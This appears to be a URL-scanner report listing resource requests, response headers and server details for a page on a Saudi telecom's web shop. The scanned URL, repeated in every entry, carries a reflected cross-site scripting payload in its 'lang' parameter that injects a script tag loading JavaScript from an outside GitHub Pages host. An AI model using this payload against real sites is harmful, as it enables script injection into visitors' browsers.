Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"3bd-5ce382a0883aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
386
X-Xss-Protection
1; mode=block
slick-theme.min.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/ 		3 KB
1 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/slick-theme.min.css?ver=1.5.5
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
f69ae61ef026e450496faedf16bcd30f1e87b0ea19743b8ee954b31e24277825
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"c4d-5ce382a0883aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
894
X-Xss-Protection
1; mode=block
magnific-popup.min.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/ 		6 KB
2 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/magnific-popup.min.css?ver=0.9.7
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
ec7eb19422058571b43826077535b25347a96c151aefa5b338b3d15930ebf58d
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"193f-5ce382a0883aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1696
X-Xss-Protection
1; mode=block
grid.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/ 		33 KB
5 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/grid.css?ver=2.5.9
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
851ec7ad8ccc397fc2c89ddbc9970105559054fa154b51a56c0d1325eee529de
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Sat, 06 Nov 2021 19:05:45 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"8465-5d023726e5c37-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
4604
X-Xss-Protection
1; mode=block
selectod.min.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/ 		2 KB
1 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/third-party/selectod.min.css?ver=3.8.1
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
e9a4a8d6ea5028db161c897aa3b3797a63ce7775e4b77295aec6c7210adc08aa
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"729-5ce382a0883aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
664
X-Xss-Protection
1; mode=block
shop.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/ 		188 KB
30 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/shop.css?ver=2.5.9
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
a706eac4c3ff582350b49fcfdc26aada2a13590f5726990c4e85c089b7e3b1ef
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"2f053-5ce382a0883aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
30038
X-Xss-Protection
1; mode=block
theme-icons.min.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/font-icons/theme-icons/ 		7 KB
2 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/font-icons/theme-icons/theme-icons.min.css?ver=2.5.9
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
413669ab5cf7b85e4f03b251b6d3350b2f186a5491e4c22e0a118406e1e6b517
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"1aa9-5ce382a087fc2-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
1538
X-Xss-Protection
1; mode=block
style.css
self.sa.zain.com/new/wp-content/themes/savoy/ 		121 KB
22 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/style.css?ver=2.5.9
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
987d42596e95f20fcfe0900d7016db4f746fc584ec8d1e41ace34bc7ae08387c
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"1e31c-5ce382a08e93a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
22045
X-Xss-Protection
1; mode=block
elements.css
self.sa.zain.com/new/wp-content/themes/savoy/assets/css/ 		65 KB
11 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/savoy/assets/css/elements.css?ver=2.5.9
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
b5ff93bda60db19fa0fc5620b83930a09ed538a7e0a366502606fe1fc06b8356
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"1035a-5ce382a087bda-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
10302
X-Xss-Protection
1; mode=block
css
fonts.googleapis.com/ 		4 KB
1 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://fonts.googleapis.com/css?family=Roboto%3A%2C400%2C700&ver=1678633792
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
H2
Security
TLS 1.3, , AES_128_GCM
Server
2a00:1450:4001:80b::200a Frankfurt am Main, Germany, ASN15169 (GOOGLE, US),
Reverse DNS
Software
ESF /
Resource Hash
396bd1ab182a204c8c227c5d6aef6cbe3a3481500e816635b408da715695dfa1
Security Headers
Name Value
Strict-Transport-Security max-age=31536000
X-Content-Type-Options nosniff
X-Frame-Options SAMEORIGIN
X-Xss-Protection 0

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

strict-transport-security
max-age=31536000
date
Mon, 26 Feb 2024 20:02:35 GMT
content-encoding
gzip
x-content-type-options
nosniff
cross-origin-resource-policy
cross-origin
alt-svc
h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
x-xss-protection
0
last-modified
Mon, 26 Feb 2024 20:02:35 GMT
server
ESF
cross-origin-opener-policy
same-origin-allow-popups
x-frame-options
SAMEORIGIN
content-type
text/css; charset=utf-8
access-control-allow-origin
*
cache-control
private, max-age=86400, stale-while-revalidate=604800
timing-allow-origin
*
link
<https://fonts.gstatic.com>; rel=preconnect; crossorigin
expires
Mon, 26 Feb 2024 20:02:35 GMT
style.css
self.sa.zain.com/new/wp-content/themes/Shop-Child-Theme-main/ 		8 KB
3 KB 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/Shop-Child-Theme-main/style.css?ver=6.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
53d64f5cd9cb329a9f0b9188a6d431d84b50a11fe8d603deebbc624596bbe0d8
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Sun, 17 Oct 2021 18:03:25 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"217c-5ce903ea27540-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
2394
X-Xss-Protection
1; mode=block
custom.css
self.sa.zain.com/new/wp-content/themes/Shop-Child-Theme-main/assets/css/ 		80 B
701 B 		Stylesheet
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/themes/Shop-Child-Theme-main/assets/css/custom.css?ver=6.2.2
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
966ace53450d1c407a74ffff13995dbd4f16f976ac043917ed8661664f6e1b43
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Wed, 13 Oct 2021 08:58:22 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"50-5ce382a0900aa-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
text/css
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
90
X-Xss-Protection
1; mode=block
jquery.min.js
self.sa.zain.com/new/wp-includes/js/jquery/ 		88 KB
31 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-includes/js/jquery/jquery.min.js?ver=3.6.4
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
afacce23cb4feaaaef37997f8439819d8f827df4951f3ff02704c9f16fb7f53a
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Tue, 09 May 2023 01:00:31 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"15ed7-5fb38482e2982-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
31049
X-Xss-Protection
1; mode=block
jquery-migrate.min.js
self.sa.zain.com/new/wp-includes/js/jquery/ 		13 KB
5 KB 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-includes/js/jquery/jquery-migrate.min.js?ver=3.4.0
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
9810aee7e6d57d8cceaa96322b88e6df46710194689ae12b284149148cabc2f3
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Tue, 09 May 2023 01:00:31 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"3470-5fb38482e259a-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
4795
X-Xss-Protection
1; mode=block
language-cookie.js
self.sa.zain.com/new/wp-content/plugins/sitepress-multilingual-cms/res/js/cookies/ 		226 B
774 B 		Script
General
Check archive.org
Download Go to
Full URL
https://self.sa.zain.com/new/wp-content/plugins/sitepress-multilingual-cms/res/js/cookies/language-cookie.js?ver=4.5.8
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
71966cb221a057ee9313fb232e40c7a0a70d2e472909c3947f4878c8e195ad53
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Content-Encoding
gzip
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Last-Modified
Mon, 21 Aug 2023 13:41:27 GMT
Content-Security-Policy
upgrade-insecure-requests
ETag
"e2-6036f08ff7bc2-gzip"
Vary
Accept-Encoding
X-Frame-Options
sameorigin
Content-Type
application/javascript
Permissions-Policy
camera=();, accelerometer=(), camera=(), geolocation=*, gyroscope=(), magnetometer=(), microphone=(), payment=()
Connection
keep-alive
Accept-Ranges
bytes
Content-Length
148
X-Xss-Protection
1; mode=block
Zain-Logo-300px-2020.png
self.sa.zain.com/new/wp-content/uploads/2021/06/ 		5 KB
6 KB 		Image
General
Check archive.org
Download Go to Show image
Full URL
https://self.sa.zain.com/new/wp-content/uploads/2021/06/Zain-Logo-300px-2020.png
Requested by
Host: self.sa.zain.com
URL: https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
Protocol
HTTP/1.1
Security
TLS 1.2, ECDHE_RSA, AES_128_GCM
Server
95.178.81.27 Dammam, Saudi Arabia, ASN43766 (MTC-KSA-AS, SA),
Reverse DNS
eshop.sa.zain.com
Software
/
Resource Hash
c1f2eb3db040cd7bae91d883740d51c36575f83fe0256a25746c6a02917e7b4f
Security Headers
Name Value
Content-Security-Policy upgrade-insecure-requests
Strict-Transport-Security max-age=63072000; includeSubdomains; preload
X-Frame-Options sameorigin
X-Xss-Protection 1; mode=block

Request headers

accept-language
de-DE,de;q=0.9
Referer
https://self.sa.zain.com/new/go/?lang=FUZZ%3C/script%3E%3Cscript%20/src=//0xkayala.github.io/xss-poc.js%3E%3C/script%3E%22%3E%3C41707
User-Agent
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.69 Safari/537.36

Response headers

Date
Mon, 26 Feb 2024 20:02:36 GMT
Strict-Transport-Security
max-age=63072000; includeSubdomains; preload
Content-Security-Policy
upgrade-insecure-requests
Last-Modified
Wed, 13 Oct 2021 08:58:23 GMT
ETag
"1493-5ce382a14acf2"
